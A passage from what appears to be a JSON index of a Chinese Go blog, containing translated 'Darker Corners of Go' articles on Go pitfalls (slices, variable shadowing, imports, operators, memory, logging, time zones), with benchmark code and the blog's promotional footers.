1, B: \u0026quot;hello\u0026quot;, C: []int{1, 2, 3}, } ) func BenchmarkManual(b *testing.B) { for i := 0; i \u0026lt; b.N; i++ { c1.Equals(\u0026amp;c2) } } func BenchmarkDeepEqual(b *testing.B) { for i := 0; i \u0026lt; b.N; i++ { reflect.DeepEqual(c1, c2) } } BenchmarkManual-8 217182776 5.51 ns/op 0 B/op 0 allocs/op BenchmarkDeepEqual-8 2175002 559 ns/op 144 B/op 8 allocs/op 在此示例中，DeepEqual的速度比手工比较慢了100倍。\n请注意，DeepEqual还将比较结构体中的未导出（头母小写）的字段。而且，即使两个不同的类型具有相同字段及值，也永远不会被视为相等。\n4) 无法比较的事情 有些事情无法比较，甚至与自己都不相等。例如，具有NaN值的浮点变量或func类型。例如，如果在结构体中具有此类字段，则使用DeepEqual比较该结构将不等于其自身：\nfunc TestF(t *testing.T) { x := math.NaN fmt.Println(reflect.DeepEqual(x, x)) // false fmt.Println(reflect.DeepEqual(TestF, TestF)) // false } 5) bytes.Equal bytes.Equal是比较字节切片的一种特殊方法。这比简单地将两个切片与使用for循环进行比较要快得多。\n值得一提的是bytes.Equal函数认为empty slice和nil slice相等，而reflect.DeepEqual则认为不相等。\n16.内存管理 1) 结构体应该通过值还是通过引用传递 Go函数的参数始终按值传递。当将结构体（或数组）类型变量传递给函数时，整个结构都将被复制。如果传递了指向结构的指针，则会复制该指针，但指向它的结构体不会被复制。复制8个字节的内存（对于64位体系结构），而不用考虑该结构的大小。那么这是否意味着最好将结构作为指针传递？看下面考量。\n获取指向结构（或数组）的指针意味：\n将其放置在堆内存中，而不是通常放在栈中 垃圾收集器来管理该堆分配 如果您想复习一下堆与栈的差别，请看看stackoverflow上的这个帖子。就本章而言，了解这些就足够了：栈-快，堆-慢。\n这意味着，如果您只是分配结构体，而不是将其作为参数传递，则可以更快地将它们复制到栈中：\npackage test import ( \u0026quot;testing\u0026quot; ) type myStruct struct { a, b, c int64 d, e, f string g, h, i float64 } func byValue() myStruct { return myStruct{ a: 1, b: 1, c: 1, d: \u0026quot;foo\u0026quot;, e: \u0026quot;bar\u0026quot;, f: \u0026quot;baz\u0026quot;, g: 1.0, h: 1.0, i: 1.0, } } func byReference() *myStruct { return \u0026amp;myStruct{ a: 1, b: 1, c: 1, d: \u0026quot;foo\u0026quot;, e: \u0026quot;bar\u0026quot;, f: \u0026quot;baz\u0026quot;, g: 1.0, h: 1.0, i: 1.0, } } func BenchmarkByValue(b *testing.B) { var s myStruct for i := 0; i \u0026lt; b.N; i++ { // make a copy of the whole struct // but do it through stack memory s = byValue() } _ = s } func BenchmarkByReference(b *testing.B) { var s *myStruct for i := 0; i \u0026lt; b.N; i++ { // allocate struct on the heap // and only return a pointer to it s = byReference() } _ = s } BenchmarkByValue-8 476965734 2.499 ns/op 0 B/op 0 allocs/op BenchmarkByReference-8 24860521 45.86 ns/op 96 B/op 1 allocs/op 在这个demo示例中，按值传递（不涉及堆或垃圾收集器）的速度快18倍。\n为了说明这一点，让我们做一个相反的示例，一次分配该结构，然后仅将其传递给函数：\nvar s = myStruct{ a: 1, b: 1, c: 1, d: \u0026quot;foo\u0026quot;, e: \u0026quot;bar\u0026quot;, f: \u0026quot;baz\u0026quot;, g: 1.0, h: 1.0, i: 1.0, } func byValue() myStruct { return s } func byReference() *myStruct { return \u0026amp;s } BenchmarkByValue-8 471494428 2.509 ns/op 0 B/op 0 allocs/op BenchmarkByReference-8 1000000000 0.2484 ns/op 0 B/op 0 allocs/op 当只传递而不是分配时，通过引用它会更快。\n有关更多详细信息，请查看Vincent Blanchon撰写的精彩文章。\n尽管本章讨论的是哪一个更快，但是在许多应用程序中，代码的清晰度和一致性比性能更重要，但这是一个单独的讨论。总之，不要以为复制会很慢，如果性能很重要，请使用Go profiler。\n2) 给C开发人员的提示 Go在内存管理上要严格得多。不允许使用指针算术，并且不可能有悬空的指针。这样的事情非常好：\nfunc byReference() *myStruct { return \u0026amp;myStruct{ a: 1, b: 1, c: 1, d: \u0026quot;foo\u0026quot;, e: \u0026quot;bar\u0026quot;, f: \u0026quot;baz\u0026quot;, g: 1.0, h: 1.0, i: 1.0, } } Go编译器足够聪明，可以将结构移动到堆中。\n17. 日志 1) log.Fatal和log.Panic 使用Go日志包记录日志时，log.Fatal和log.Panic函数中有一个陷阱在等你。与您可能期望的日志记录功能不同，它们不只是简单地记录具有不同日志级别的消息，它们还会终止整个应用程序。以下是Go日志包中的这两个函数的定义：\n// Fatal is equivalent to Print() followed by a call to os.Exit(1). func Fatal(v ...interface{}) { std.Output(2, fmt.Sprint(v...)) os.Exit(1) } // Panic is equivalent to Print() followed by a call to panic(). func Panic(v ...interface{}) { s := fmt.Sprint(v...) std.Output(2, s) panic(s) } 18.时间 1) time.LoadLocation从文件读取 这是我个人最喜欢的Go陷阱之一。要在时区之间进行转换，您首先需要加载位置信息。事实证明time.LoadLocation每次被调用时都会读取一个文件。格式化大型CSV报告的每一行时，最好的做法不是：\npackage main import ( \u0026quot;testing\u0026quot; \u0026quot;time\u0026quot; ) func BenchmarkLocation(b *testing.B) { for n := 0; n \u0026lt; b.N; n++ { loc, _ := time.LoadLocation(\u0026quot;Asia/Kolkata\u0026quot;) time.Now().In(loc) } } func BenchmarkLocation2(b *testing.B) { loc, _ := time.LoadLocation(\u0026quot;Asia/Kolkata\u0026quot;) for n := 0; n \u0026lt; b.N; n++ { time.Now().In(loc) } } BenchmarkLocation-8 16810 76179 ns/op 58192 B/op 14 allocs/op BenchmarkLocation2-8 188887110 6.97 ns/op 0 B/op 0 allocs/op “Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，\u0026gt;每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需\u0026gt;求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足\u0026gt;广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖\u0026gt;中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/03/29/darker-corners-of-go-part2/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/darker-corners-of-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e本文翻译自Rytis Bieliunas的文章\u003ca href=\"https://rytisbiel.com/2021/03/06/darker-corners-of-go/\"\u003e《Darker Corners of Go》\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e第一部分参见\u003ca href=\"https://tonybai.com/2021/03/29/darker-corners-of-go-part1\"\u003e《Go语言的“黑暗角落”：盘点学习Go语言时遇到的那些陷阱[译]（第一部分）》\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"7-字符串和字节数组\"\u003e7. 字符串和字节数组\u003c/h2\u003e\n\u003ch3 id=\"1-go中的字符串\"\u003e1) Go中的字符串\u003c/h3\u003e\n\u003cp\u003eGo字符串的内部定义如下所示：\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003etype StringHeader struct {\n    Data uintptr\n    Len  int\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e字符串本身是一个值类型，它具有一个指向字节数组的指针和固定长度。字符串中的“零字节”不像在C中那样标记着字符串的结尾。字符串内可以有任何数据。通常，该数据被编码为UTF-8字符串，但不一定如此。\u003c/p\u003e","title":"Go语言的“黑暗角落”：盘点学习Go语言时遇到的那些陷阱[译]（第二部分）"},{"content":"\n本文翻译自Rytis Bieliunas的文章《Darker Corners of Go》。\n译注：若干年前，Kyle Quest曾发过一篇名为“50 Shades of Go: Traps, Gotchas, and Common Mistakes for New Golang Devs”的文章，仿效著名的《C Traps and Pitfalls》编写了50条Go语言的陷阱与缺陷，一时在Go社区广为流传。而本文是又一篇较为系统总结Go陷阱的文章，不同于50 Shades of Go的按初中高级陷阱的分类方式，本文是按类别对Go陷阱做讲解。\n0. 简介 这是什么？\n当初学习Go的时候，我只是看了一些入门书和Go语言规范。当时，我已经掌握了其他几种编程语言，然而感觉自己对Go的了解还不够，无法进行实际工作。我觉得自己对Go世界的运作方式了解地还不够深入，我可能需要趟过一些Go陷阱后才会建立起使用Go的信心。\n我是对的。\n虽然简单是Go语言设计哲学的核心，但当你深入使用Go时，你就会发现Go语言在用它颇具创意的方式啪啪打你的脸。\n由于现在我已经用Go进行了几年的生产应用，在趟过很多“坑”之后，我想我应该将这些“遇坑与填坑”的情况整理出来献给那些Go语言的新手同学们。\n我的目标是在一篇文章中收集Go中各种可能会让新开发者感到惊讶的东西，也许会对Go中比较特别的功能有所启发。我希望这能为读者节省大量的Google搜索和调试时间，并可能避免一些昂贵的错误。\n我认为这篇文章对于那些至少已经知道Go语法的人来说是最有用的。如果你是一个中级或有经验的程序员，已经懂得其他编程语言，并希望学习Go，那就最好不过了。\n如果你发现错误或者我没有包含你最喜欢的Go surprise，请告诉我：rytbiel@gmail.com。\n非常感谢Vytautas Shaltenis的帮助，让这篇文章变得更好。\n1. 代码格式化(Code formatting) 1) gofmt 在Go中，gofmt工具将许多预定好的代码格式“强加”于你的代码。gofmt对源文件进行机械性的更改，例如对包导入声明进行排序和对代码应用缩进等。这是自从切片面包诞生以来最好的事情，因为它可以节省开发人员大量无关紧要的争论所消耗的工作量。例如，它使用制表符来缩进，使用空格来对齐– 对代码风格的争论到此为止。\n您可以完全不使用gofmt工具，但如果使用它，你却无法将对其所实施的代码格式化样式进行配置。该工具完全没有提供任何代码格式化选项，这才是重点。提供一种“足够好”的统一代码格式样式，它可能是没人喜欢的样式，但是Go开发人员认为统一胜于完美。\n共享样式和自动代码格式化的好处包括：\n无需花费任何时间在代码审查上来解决格式问题。 它可以使您免于与一起工作的同事争论大括号到底放在哪里，缩进使用制表符还是空格。你所有的激情和精力都可以得到更有效的利用。 代码更易于编写：像代码格式这样的次要工作已经有工具帮你完成。 代码更容易阅读：您无需从心理上解析你不熟悉的别人的代码格式。 大多数流行的IDE都具有Go插件，这些插件会在保存源文件时自动运行gofmt。\n诸如goformat之类的第三方工具允许你在Go中使用自定义代码样式格式。但你真的希望那样做么？\n2) 长代码行 Gofmt不会尝试为您分解很长的代码。有诸如golines之类的第三方工具可以做到这一点。\n3) 大括号 在Go中，必须在行的末尾放置大括号。有趣的是，这不是gofmt强制执行的，而是Go词法分析器实现方式的副作用。有或没有gofmt，都不能将大括号放在新行上。\npackage main // missing function body func main() // syntax error: unexpected semicolon or newline before { { } // all good! func main() { } 4) 多行声明中的逗号 在初始化切片、数组、map或结构体时，Go要求在换行符前加逗号。在多种语言中都允许使用尾部逗号，并且在某些样式指南中鼓励使用逗号。在Go中，它们是强制性的。这样在重新排列行或添加新行时就无需修改不相关的行。这也意味着更少的代码审核差异噪声。\n// all of these are OK a := []int{1, 2} b := []int{1, 2,} c := []int{ 1, 2} d := []int{ 1, 2, } // syntax error without trailing comma e := []int{ 1, // syntax error: unexpected newline, expecting comma or } 2 } 结构体也使用相同规则：\ntype s struct { One int Two int } f := s{ One: 1, // syntax error: unexpected newline, expecting comma or } Two: 2 } 2. 包导入(Import) 1) 未使用的导入包 未使用导入包的Go程序无法编译。这是该语言的故意设定，因为导入包会降低编译器的速度。在大型程序中，未使用的导入包可能会对编译时间产生重大影响。\n为了使编译器在开发过程中感到happy^_^，您可以通过以下方式引用该软件包：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;math\u0026quot; ) // Reference unused package var _ = math.Round func main() { fmt.Println(\u0026quot;Hello\u0026quot;) } 2) goimports 更好的解决方案是使用goimports工具。goimports会为您删除未引用的导入包。更好的是，它尝试自动查找并添加缺失的包导入。\npackage main import \u0026quot;math\u0026quot; // imported and not used: \u0026quot;math\u0026quot; func main() { fmt.Println(\u0026quot;Hello\u0026quot;) // undefined: fmt } 运行goimports之后：\n./goimports main.go package main import \u0026quot;fmt\u0026quot; func main() { fmt.Println(\u0026quot;Hello\u0026quot;) } 大多数流行的IDE的Go插件在保存源文件时会自动运行goimports。\n3) 下划线导入 以下划线方式导入包仅是出于对其副作用的依赖。这意味着它将创建程序包级变量并运行包的init函数：\npackage package1 func package1Function() int { fmt.Println(\u0026quot;Package 1 side-effect\u0026quot;) return 1 } var globalVariable = package1Function() func init() { fmt.Println(\u0026quot;Package 1 init side effect\u0026quot;) } 导入package1：\npackage package2 import _ package1 这将打印消息并初始化globalVariable：\nPackage 1 side-effect Package 1 init side effect 多次导入一个包（例如，在主程序包以及在其主要引用的程序包中）只运行一次该包的init函数。\n下划线导入在Go运行时库中有使用。例如，导入net/http/pprof调用其init函数，该函数公开HTTP端点，这些端点可以提供有关应用程序的调试信息：\nimport _ \u0026quot;net/http/pprof\u0026quot; 4) 点导入 点导入允许在不使用限定符的情况下访问导入包中的标识符：\npackage main import ( \u0026quot;fmt\u0026quot; . \u0026quot;math\u0026quot; ) func main() { fmt.Println(Sin(3)) // references math.Sin } 是否应从Go语言中完全删除点导入一直存在公开辩论。Go团队不建议在测试包以外的任何地方使用它们：\n因为它使得程序可读性大大下降，我们很难知道一个Quux之类的名称是当前程序包中还是导入程序包中的顶层标识符 – https://golang.org/doc/faq\n另外，如果您使用go-lint工具，那么在测试文件之外使用点导入时，它会显示警告，并且您无法轻易将其关闭。\nGo团队建议在测试中使用点可以避免包的循环依赖：\n// foo_test package tests for foo package package foo_test import ( \u0026quot;bar/testutil\u0026quot; // also imports \u0026quot;foo\u0026quot; . \u0026quot;foo\u0026quot; ) 该测试文件不能成为foo包的一部分，因为它引用了bar/testutil，而bar/testutil又引用了foo并导致了循环依赖。\n在这种情况下，首先要考虑的是，是否有一种更好的方法来构建可避免循环依赖的软件包。将bar/testutil使用的内容从foo移动到foo和bar/testutil都可以导入的第三个包可能更好，这样就可以将测试以正常方式写在foo包中。\n如果重构没有意义，并且使用点导入将测试移至单独的程序包，则foo_test程序包至少可以假装为foo程序包的一部分。注意，它无法访问foo包的未导出类型和函数。\n可以说，在域特定语言编程中，点导入是一个很好的用例。例如，Goa框架将其用于配置。如果没有点导入，它看起来不会很好：\npackage design import . \u0026quot;goa.design/goa/v3/dsl\u0026quot; // API describes the global properties of the API server. var _ = API(\u0026quot;calc\u0026quot;, func() { Title(\u0026quot;Calculator Service\u0026quot;) Description(\u0026quot;HTTP service for adding numbers, a goa teaser\u0026quot;) Server(\u0026quot;calc\u0026quot;, func() { Host(\u0026quot;localhost\u0026quot;, func() { URI(\u0026quot;http://localhost:8088\u0026quot;) }) }) }) 3. 变量 1) 未使用的变量 带有未使用变量的Go程序无法编译：\n如果存在未使用的变量，则可能表示有bug[…] Go拒绝使用未使用的变量或导入来编译程序，并且不会为了短期的便利性去换取更高的构建速度和程序的清晰性。- https://golang.org/doc/faq\n该规则的例外是全局变量和函数参数：\npackage main var unusedGlobal int // this is ok func f1(unusedArg int) { // unused function arguments are also ok // error: a declared but not used a, b := 1,2 // b is used here, but a is only assigned to, does not count as “used” a = b } 2) 短变量声明 声明变量的简写形式仅在函数内部起作用：\npackage main v1 := 1 // error: non-declaration statement outside function body var v2 = 2 // this is ok func main() { v3 := 3 // this is ok fmt.Println(v3) } 设置结构体字段值时，它也不起作用：\npackage main type myStruct struct { Field int } func main() { var s myStruct // error: non-name s.Field on the left side of := s.Field, newVar := 1, 2 var newVar int s.Field, newVar = 1, 2 // this is actually ok } 3) 变量遮蔽 令人遗憾的是，Go中允许使用变量遮蔽。您需要经常注意这一点，因为它可能导致难以发现的问题。发生这种情况是因为，为方便起见，如果至少有一个变量是新变量，Go允许使用短变量声明形式：\npackage main import \u0026quot;fmt\u0026quot; func main() { v1 := 1 // v1 is not actually redeclared here, only gets a new value set v1, v2 := 2, 3 fmt.Println(v1, v2) // prints 2, 3 } 但是，如果声明在另一个代码块内部，则它将声明一个新变量，从而可能导致严重的错误：\npackage main import \u0026quot;fmt\u0026quot; func main() { v1 := 1 if v1 == 1 { v1, v2 := 2, 3 fmt.Println(v1, v2) // prints 2, 3 } fmt.Println(v1) // prints 1 ! } 一个更现实的示例，假设您有一个返回错误的函数：\npackage main import ( \u0026quot;errors\u0026quot; \u0026quot;fmt\u0026quot; ) func func1() error { return nil } func errFunc1() (int, error) { return 1, errors.New(\u0026quot;important error\u0026quot;) } func returnsErr() error { err := func1() if err == nil { v1, err := errFunc1() if err != nil { fmt.Println(v1, err) // prints: 1 important error } } return err // this returns nil! } func main() { fmt.Println(returnsErr()) // prints nil } 一种解决方案是不要在嵌套代码块内使用短变量声明：\nfunc returnsErr() error { err := func1() var v1 int if err == nil { v1, err = errFunc1() if err != nil { fmt.Println(v1, err) // prints: 1 important error } } return err // returns \u0026quot;important error\u0026quot; } 或者在上述示例的情况下，更好的方法是尽早退出：\nfunc returnsErr() error { err := func1() if err != nil { return err } v1, err := errFunc1() if err != nil { fmt.Println(v1, err) // prints: 1 important error return err } return nil } 也有可以提供帮助的工具。在go vet工具中曾有一个实验性的变量遮蔽检测，后来将其删除。在撰写本文时，这是您可以安装和运行该工具的方式：\ngo get -u golang.org/x/tools/go/analysis/passes/shadow/cmd/shadow go vet -vettool=$(which shadow) 打印：\n.\\main.go:20:7: declaration of \u0026quot;err\u0026quot; shadows declaration at line 17 4. 运算符 1) 运算符优先级 Go运算符的优先级与其他语言不同：\nPrecedence Operator 5 * / % \u0026lt;\u0026lt; \u0026gt;\u0026gt; \u0026amp; \u0026amp;^ 4 + - | ^ 3 == != \u0026lt; \u0026lt;= \u0026gt; \u0026gt;= 2 \u0026amp;\u0026amp; 1 || 将其与基于C的语言进行比较：\nPrecedence Operator 10 *, /, % 9 +, - 8 \u0026lt;\u0026lt;, \u0026gt;\u0026gt; 7 \u0026lt;, \u0026lt;=, \u0026gt;, \u0026gt;= 6 ==, != 5 \u0026amp; 4 ^ 3 | 2 \u0026amp;\u0026amp; 1 || 对于相同的表达式，这可能导致不同的结果：\nIn Go: 1 \u0026lt;\u0026lt; 1 + 1 // (1\u0026lt;\u0026lt;1)+1 = 3 In C: 1 \u0026lt;\u0026lt; 1 + 1 // 1\u0026lt;\u0026lt;(1+1) = 4 2) 自增和自减 与许多其他语言不同，Go没有前缀自增或自减运算符：\nvar i int ++i // syntax error: unexpected ++, expecting } --i // syntax error: unexpected --, expecting } 尽管Go确实具有这些运算符的后缀版本，但Go不允许在表达式中使用它们：\nslice := []int{1,2,3} i := 1 slice[i++] = 0 // syntax error: unexpected ++, expecting : 3) 三元运算符 Go语言不支持三元运算符，像下面这样的代码：\nresult := a ? b : c 在Go中没有，你也不要费力寻找。您必须使用if-else代替。Go语言设计人员认为此运算符经常导致难看的代码，最好不要使用它。\n4) 按位非 在Go中，XOR运算符\\^被用作一元NOT运算符，而不是像许多其他语言使用〜符号。\nIn Go: ^1 // -2 In C: ~1 // -2 用于二元计算是，XOR运算符仍用作XOR(异或)运算符。\n3^1 // 2 5.常量 1) iota iota开始在Go中进行常量编号。但它并不非期望的“从零开始”，它是当前const块中常量的索引：\nconst ( myconst = \u0026quot;c\u0026quot; myconst2 = \u0026quot;c2\u0026quot; two = iota // 2 ) 两次使用iota不会重置编号：\nconst ( zero = iota // 0 one // 1 two = iota // 2 ) 6. 切片和数组 1) 切片和数组 在Go中，切片和数组的用途相似。它们的声明方式几乎相同：\npackage main import \u0026quot;fmt\u0026quot; func main() { slice := []int{1, 2, 3} array := [3]int{1, 2, 3} // let the compiler work out array length // this will be an equivalent of [3]int array2 := [...]int{1, 2, 3} fmt.Println(slice, array, array2) } [1 2 3] [1 2 3] [1 2 3] 切片感觉像是在顶部具有有用功能的数组。他们在实现的内部使用指向数组的指针。但是，切片要方便得多，以至于我们很少在Go中直接使用数组。\n2) 数组 数组是有着固定大小内存的一组同类型元素的集合。不同长度的数组被认为是不同的不兼容类型。\n与C语言不同，创建数组时，Go会将数组元素初始化为零值，因此我们无需再显式地执行此初始化操作。另外，与C不同的是，Go数组是值类型，它不是指向内存块第一个元素的指针。如果将数组传递给函数，则将复制整个数组。您仍然可以传递指向数组的指针以使其不被复制。\n3) 切片 切片是数组段的描述符。这是一个非常有用的数据结构，但可能有点不寻常。有几种可以让你掉入坑中的场景，但如果您知道切片的内部工作原理，则可以避免这些“坑”。这是Go源代码中切片的实际定义：\ntype slice struct { array unsafe.Pointer len int cap int } Slice本身是一个值类型，但它使用指针引用它使用的数组。与数组不同，如果将切片传递给函数，则会获得数组指针，len和cap属性的副本（上图中的第一个块），但是数组本身的数据不会被复制，切片的两个副本都指向同一数组。当您“切片”一个切片时，也会发生同样的事情。Go会创建一个新的切片，该切片仍指向相同的数组：\npackage main import \u0026quot;fmt\u0026quot; func f1(s []int) { // slicing the slice creates a new slice // but does not copy the array data s = s[2:4] // modifying the sub-slice // changes the array of slice in main function as well for i := range s { s[i] += 10 } fmt.Println(\u0026quot;f1\u0026quot;, s, len(s), cap(s)) } func main() { s := []int{1, 2, 3, 4, 5} // passing a slice as an argument // makes a copy of the slice properties (pointer, len and cap) // but the copy shares the same array f1(s) fmt.Println(\u0026quot;main\u0026quot;, s, len(s), cap(s)) } f1 [13 14] 2 3 main [1 2 13 14 5] 5 5 如果您不知道哪个分片，则可以假设它是一个值类型，并且感到惊讶的是f1“破坏了”main中切片中的数据。\n4) 获取包括其数据的切片的副本 要获取切片及其数据的副本，您需要做一些工作。您可以将元素手动复制到新切片或使用复制(copy)或追加(append)：\npackage main import \u0026quot;fmt\u0026quot; func f1(s []int) { s = s[2:4] s2 := make([]int, len(s)) copy(s2, s) // or if you prefer less efficient, but more concise version: // s2 := append([]int{}, s[2:4]...) for i := range s2 { s2[i] += 10 } fmt.Println(\u0026quot;f1\u0026quot;, s2, len(s2), cap(s2)) } func main() { s := []int{1, 2, 3, 4, 5} f1(s) fmt.Println(\u0026quot;main\u0026quot;, s, len(s), cap(s)) } f1 [13 14] 2 3 main [1 2 3 4 5] 5 5 5) 使用append扩充切片 切片的所有副本都共享同一数组，直到他们不这样做。切片最有用的属性是它可以为您自动管理数组的增长。当它需要超过现有数组容量时，它会分配一个全新的数组。如果您希望切片的两个副本共享数组，那么这也可能是陷阱：\npackage main import \u0026quot;fmt\u0026quot; func main() { // make a slice with length 3 and capacity 4 s := make([]int, 3, 4) // initialize to 1,2,3 s[0] = 1 s[1] = 2 s[2] = 3 // capacity of the array is 4 // adding one more number fits in the initial array s2 := append(s, 4) // modify the elements of the array // s and s2 still share the same array for i := range s2 { s2[i] += 10 } fmt.Println(s, len(s), cap(s)) // [11 12 13] 3 4 fmt.Println(s2, len(s2), cap(s2)) // [11 12 13 14] 4 4 // this append grows the array past its capacity // new array must be allocated for s3 s3 := append(s2, 5) // modify the elements of the array to see the result for i := range s3 { s3[i] += 10 } fmt.Println(s, len(s), cap(s)) // still the old array [11 12 13] 3 4 fmt.Println(s2, len(s2), cap(s2)) // the old array [11 12 13 14] 4 4 // array was copied on last append [21 22 23 24 15] 5 8 fmt.Println(s3, len(s3), cap(s3)) } 6) nil切片 无需检查切片是否为nil值，也不必对其初始化。len，cap和append等功能在nil slice上同样可以正常工作：\npackage main import \u0026quot;fmt\u0026quot; func main() { var s []int // nil slice fmt.Println(s, len(s), cap(s)) // [] 0 0 s = append(s, 1) fmt.Println(s, len(s), cap(s)) // [1] 1 1 } 空切片(empty slice)与nil切片不是同一回事：\npackage main import \u0026quot;fmt\u0026quot; func main() { var s []int // this is a nil slice s2 := []int{} // this is an empty slice // looks like the same thing here: fmt.Println(s, len(s), cap(s)) // [] 0 0 fmt.Println(s2, len(s2), cap(s2)) // [] 0 0 // but s2 is actually allocated somewhere fmt.Printf(\u0026quot;%p %p\u0026quot;, s, s2) // 0x0 0x65ca90 } 如果您非常在意性能和内存使用情况，那么初始化一个空切片可能不如使用nil切片理想。\n7) make陷阱 要创建一个新的切片，可以将make与切片类型以及切片的初始长度和容量一起使用。容量参数是可选的：\nfunc make([]T, len, cap) []T 这样做太简单了：\npackage main import ( \u0026quot;fmt\u0026quot; ) func main() { s := make([]int, 3) s = append(s, 1) s = append(s, 2) s = append(s, 3) fmt.Println(s) } [0 0 0 1 2 3] 不，这永远不会发生在我身上，我知道make创建切片的第二个参数是长度，而不是容量，我听到你说……\n未使用的切片的数组数据 由于对数组进行切片会创建一个新的切片，但会共享底层数组，因此有可能在内存中保留比你预期更多的数据。这是一个愚蠢的例子：\npackage main import ( \u0026quot;bytes\u0026quot; \u0026quot;fmt\u0026quot; \u0026quot;io/ioutil\u0026quot; \u0026quot;os\u0026quot; ) func getExecutableFormat() []byte { // read our own executable file into memory bytes, err := ioutil.ReadFile(os.Args[0]) if err != nil { panic(err) } return bytes[:4] } func main() { format := getExecutableFormat() if bytes.HasPrefix(format, []byte(\u0026quot;ELF\u0026quot;)) { fmt.Println(\u0026quot;linux executable\u0026quot;) } else if bytes.HasPrefix(format, []byte(\u0026quot;MZ\u0026quot;)) { fmt.Println(\u0026quot;windows executable\u0026quot;) } } 在上面的代码中，只要该format变量在范围内并且不能被垃圾回收，则整个可执行文件（可能几兆字节的数据）将必须保留在内存中。要修复它，请复制实际需要的字节。\n9) 多维切片 目前，Go中没有这样的东西。可能某天会有，但是此时此刻您需要自己计算元素索引来手动将一维切片用作多维切片，或者使用“锯齿状”切片（锯齿状切片是切片的切片）：\npackage main import \u0026quot;fmt\u0026quot; func main() { x := 2 y := 3 s := make([][]int, y) for i := range s { s[i] = make([]int, x) } fmt.Println(s) } [[0 0] [0 0] [0 0]] 第二部分见下面链接：\nGo语言的“黑暗角落”：盘点学习Go语言时遇到的那些陷阱[译]（第二部分） “Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，\u0026gt;每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需\u0026gt;求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足\u0026gt;广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖\u0026gt;中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/03/29/darker-corners-of-go-part1/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/darker-corners-of-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e本文翻译自Rytis Bieliunas的文章\u003ca href=\"https://rytisbiel.com/2021/03/06/darker-corners-of-go/\"\u003e《Darker Corners of Go》\u003c/a\u003e。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e译注：若干年前，Kyle Quest曾发过一篇名为\u003ca href=\"http://devs.cloudimmunity.com/gotchas-and-common-mistakes-in-go-golang/\"\u003e“50 Shades of Go: Traps, Gotchas, and Common Mistakes for New Golang Devs”\u003c/a\u003e的文章，仿效著名的\u003ca href=\"https://www.cs.tufts.edu/comp/40/docs/CTrapsAndPitfalls.pdf\"\u003e《C Traps and 